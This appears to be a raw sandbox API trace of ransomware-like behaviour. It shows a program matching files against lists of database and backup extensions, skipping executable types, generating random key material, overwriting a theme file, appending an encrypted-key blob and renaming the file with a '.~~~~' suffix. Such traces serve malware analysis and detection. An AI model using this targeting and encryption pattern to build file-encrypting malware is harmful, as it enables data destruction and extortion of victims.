	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0084.519] lstrlenW (lpString=".SDF") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0084.519] lstrlenW (lpString=".dtxs") returned 5
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0084.519] lstrlenW (lpString=".db3") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0084.519] lstrlenW (lpString=".OST") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0084.519] lstrlenW (lpString=".dbx") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0084.519] lstrlenW (lpString=".DB3") returned 4
	[0084.519] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0084.519] lstrlenW (lpString=".DAT") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0084.520] lstrlenW (lpString=".VHDX") returned 5
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0084.520] lstrlenW (lpString=".ndf") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0084.520] lstrlenW (lpString=".DB") returned 3
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0084.520] lstrlenW (lpString=".sql") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0084.520] lstrlenW (lpString=".MYD") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0084.520] lstrlenW (lpString=".DBT") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0084.520] lstrlenW (lpString=".ACCDB") returned 6
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0084.520] lstrlenW (lpString=".fdb") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0084.520] lstrlenW (lpString=".bak") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0084.520] lstrlenW (lpString=".myd") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0084.520] lstrlenW (lpString=".DTXS") returned 5
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0084.520] lstrlenW (lpString=".ckp") returned 4
	[0084.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0084.520] lstrlenW (lpString=".dbt") returned 4
	[0084.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0084.521] lstrlenW (lpString=".db") returned 3
	[0084.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0084.521] lstrlenW (lpString=".TXT") returned 4
	[0084.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0084.521] lstrlenW (lpString=".MDF") returned 4
	[0084.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0084.521] lstrlenW (lpString=".bdb") returned 4
	[0084.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0084.521] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0084.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0084.521] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395388) returned 1
	[0084.522] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0084.522] CryptReleaseContext (hProv=0x395388, dwFlags=0x0) returned 1
	[0084.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0084.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0084.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0084.522] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20451260472) returned 1
	[0084.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9c3633f0, dwHighDateTime=0x1d60e1e)) 
	[0084.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0084.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0084.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0084.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a28a8
	[0084.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a28a8 | out: hHeap=0x300000) returned 1
	[0084.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808d08
	[0084.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28431c8
	[0084.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d08 | out: hHeap=0x300000) returned 1
	[0084.523] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0084.523] GetLastError () returned 0x0
	[0084.524] GetLastError () returned 0x0
	[0084.524] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0084.524] GetLastError () returned 0x0
	[0084.524] GetLastError () returned 0x0
	[0084.627] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff7ce9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.627] WriteFile (in: hFile=0x120, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x8317, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x24dfec0*=0x8317, lpOverlapped=0x0) returned 1
	[0084.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0084.627] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.627] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.627] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.628] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.628] CloseHandle (hObject=0x120) returned 1
	[0084.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0084.693] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.~~~~")) returned 1
	[0084.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4328 | out: hHeap=0x300000) returned 1
	[0084.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0084.716] GetLastError () returned 0x0
	[0084.716] RtlWakeConditionVariable () returned 0x365f70
	[0084.716] GetCurrentThreadId () returned 0x3a4
	[0084.717] GetCurrentThreadId () returned 0x3a4
	[0084.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28089c0
	[0084.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0084.717] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa0b8 | out: hHeap=0x300000) returned 1
	[0084.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e69d0
	[0084.717] lstrlenW (lpString=".scr") returned 4
	[0084.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".scr") returned 0x0
	[0084.717] lstrlenW (lpString=".cmd") returned 4
	[0084.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".cmd") returned 0x0
	[0084.717] lstrlenW (lpString=".dll") returned 4
	[0084.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dll") returned 0x0
	[0084.717] lstrlenW (lpString=".bat") returned 4
	[0084.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".bat") returned 0x0
	[0084.717] lstrlenW (lpString=".cpl") returned 4
	[0084.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".cpl") returned 0x0
	[0084.718] lstrlenW (lpString=".sys") returned 4
	[0084.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".sys") returned 0x0
	[0084.718] lstrlenW (lpString=".msc") returned 4
	[0084.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".msc") returned 0x0
	[0084.718] lstrlenW (lpString=".com") returned 4
	[0084.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".com") returned 0x0
	[0084.718] lstrlenW (lpString=".lnk") returned 4
	[0084.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".lnk") returned 0x0
	[0084.718] lstrlenW (lpString=".msp") returned 4
	[0084.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".msp") returned 0x0
	[0084.718] lstrlenW (lpString=".pif") returned 4
	[0084.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".pif") returned 0x0
	[0084.718] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.826] lstrlenW (lpString=".sqb") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".sqb") returned 0x0
	[0084.826] lstrlenW (lpString=".ost") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".ost") returned 0x0
	[0084.826] lstrlenW (lpString=".txt") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".txt") returned 0x0
	[0084.826] lstrlenW (lpString=".mdt") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".mdt") returned 0x0
	[0084.826] lstrlenW (lpString=".BDB") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".BDB") returned 0x0
	[0084.826] lstrlenW (lpString=".eql") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".eql") returned 0x0
	[0084.826] lstrlenW (lpString=".DBF") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DBF") returned 0x0
	[0084.826] lstrlenW (lpString=".EQL") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".EQL") returned 0x0
	[0084.826] lstrlenW (lpString=".FDB") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".FDB") returned 0x0
	[0084.826] lstrlenW (lpString=".EDB") returned 4
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".EDB") returned 0x0
	[0084.826] lstrlenW (lpString=".DACPAC") returned 7
	[0084.826] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DACPAC") returned 0x0
	[0084.826] lstrlenW (lpString=".VHD") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".VHD") returned 0x0
	[0084.827] lstrlenW (lpString=".DBV") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DBV") returned 0x0
	[0084.827] lstrlenW (lpString=".dacpac") returned 7
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dacpac") returned 0x0
	[0084.827] lstrlenW (lpString=".sdf") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".sdf") returned 0x0
	[0084.827] lstrlenW (lpString=".accdb") returned 6
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".accdb") returned 0x0
	[0084.827] lstrlenW (lpString=".DBX") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DBX") returned 0x0
	[0084.827] lstrlenW (lpString=".MDT") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".MDT") returned 0x0
	[0084.827] lstrlenW (lpString=".SQB") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".SQB") returned 0x0
	[0084.827] lstrlenW (lpString=".vhd") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".vhd") returned 0x0
	[0084.827] lstrlenW (lpString=".bac") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".bac") returned 0x0
	[0084.827] lstrlenW (lpString=".mdf") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".mdf") returned 0x0
	[0084.827] lstrlenW (lpString=".BAK") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".BAK") returned 0x0
	[0084.827] lstrlenW (lpString=".BAC") returned 4
	[0084.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".BAC") returned 0x0
	[0084.827] lstrlenW (lpString=".dbs") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dbs") returned 0x0
	[0084.828] lstrlenW (lpString=".vhdx") returned 5
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".vhdx") returned 0x0
	[0084.828] lstrlenW (lpString=".NDF") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".NDF") returned 0x0
	[0084.828] lstrlenW (lpString=".dat") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dat") returned 0x0
	[0084.828] lstrlenW (lpString=".DBS") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DBS") returned 0x0
	[0084.828] lstrlenW (lpString=".CKP") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".CKP") returned 0x0
	[0084.828] lstrlenW (lpString=".edb") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".edb") returned 0x0
	[0084.828] lstrlenW (lpString=".PST") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".PST") returned 0x0
	[0084.828] lstrlenW (lpString=".dbf") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dbf") returned 0x0
	[0084.828] lstrlenW (lpString=".SQL") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".SQL") returned 0x0
	[0084.828] lstrlenW (lpString=".pst") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".pst") returned 0x0
	[0084.828] lstrlenW (lpString=".dbv") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dbv") returned 0x0
	[0084.828] lstrlenW (lpString=".SDF") returned 4
	[0084.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".SDF") returned 0x0
	[0084.829] lstrlenW (lpString=".dtxs") returned 5
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dtxs") returned 0x0
	[0084.829] lstrlenW (lpString=".db3") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".db3") returned 0x0
	[0084.829] lstrlenW (lpString=".OST") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".OST") returned 0x0
	[0084.829] lstrlenW (lpString=".dbx") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".dbx") returned 0x0
	[0084.829] lstrlenW (lpString=".DB3") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DB3") returned 0x0
	[0084.829] lstrlenW (lpString=".DAT") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DAT") returned 0x0
	[0084.829] lstrlenW (lpString=".VHDX") returned 5
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".VHDX") returned 0x0
	[0084.829] lstrlenW (lpString=".ndf") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".ndf") returned 0x0
	[0084.829] lstrlenW (lpString=".DB") returned 3
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DB") returned 0x0
	[0084.829] lstrlenW (lpString=".sql") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".sql") returned 0x0
	[0084.829] lstrlenW (lpString=".MYD") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".MYD") returned 0x0
	[0084.829] lstrlenW (lpString=".DBT") returned 4
	[0084.829] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DBT") returned 0x0
	[0084.829] lstrlenW (lpString=".ACCDB") returned 6
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".ACCDB") returned 0x0
	[0084.830] lstrlenW (lpString=".fdb") returned 4
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".fdb") returned 0x0
	[0084.830] lstrlenW (lpString=".bak") returned 4
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".bak") returned 0x0
	[0084.830] lstrlenW (lpString=".myd") returned 4
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".myd") returned 0x0
	[0084.830] lstrlenW (lpString=".DTXS") returned 5
	[0084.830] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", lpSrch=".DTXS") returned 0x0
	[0084.830] lstrlenW (lpString=".ckp") returned 4
